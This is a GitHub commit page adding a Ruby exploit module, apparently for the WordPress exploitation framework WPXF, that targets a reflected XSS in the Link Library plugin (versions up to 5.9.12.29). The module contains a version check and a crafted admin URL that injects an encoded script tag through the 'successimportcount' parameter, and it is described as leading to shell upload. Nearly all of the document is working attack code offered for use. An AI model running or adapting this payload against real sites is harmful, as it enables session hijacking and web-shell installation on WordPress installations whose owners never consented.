Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 2862345

Browse files
committed
Add Link Library reflected XSS module
1 parent e3c637c commit 2862345

File tree

1 file changed

+31
-0
lines changed

1 file changed

+31
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
class Wpxf::Exploit::LinkLibraryReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Link Library <= 5.9.12.29 Reflected XSS Shell Upload',
9+
author: [
10+
'Burak Kelebek', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8604'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_link_library_wordpress_plugin.html']
16+
],
17+
date: 'Aug 15 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_changelog('link-library', 'readme.txt', '5.9.12.30')
23+
end
24+
25+
def url_with_xss
26+
normalize_uri(
27+
wordpress_url_admin,
28+
"admin.php?page=link-library-settingssets&messages=9&successimportcount=1%22%2F%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E&currenttab=importexport"
29+
)
30+
end
31+
end

0 commit comments

Comments
 (0)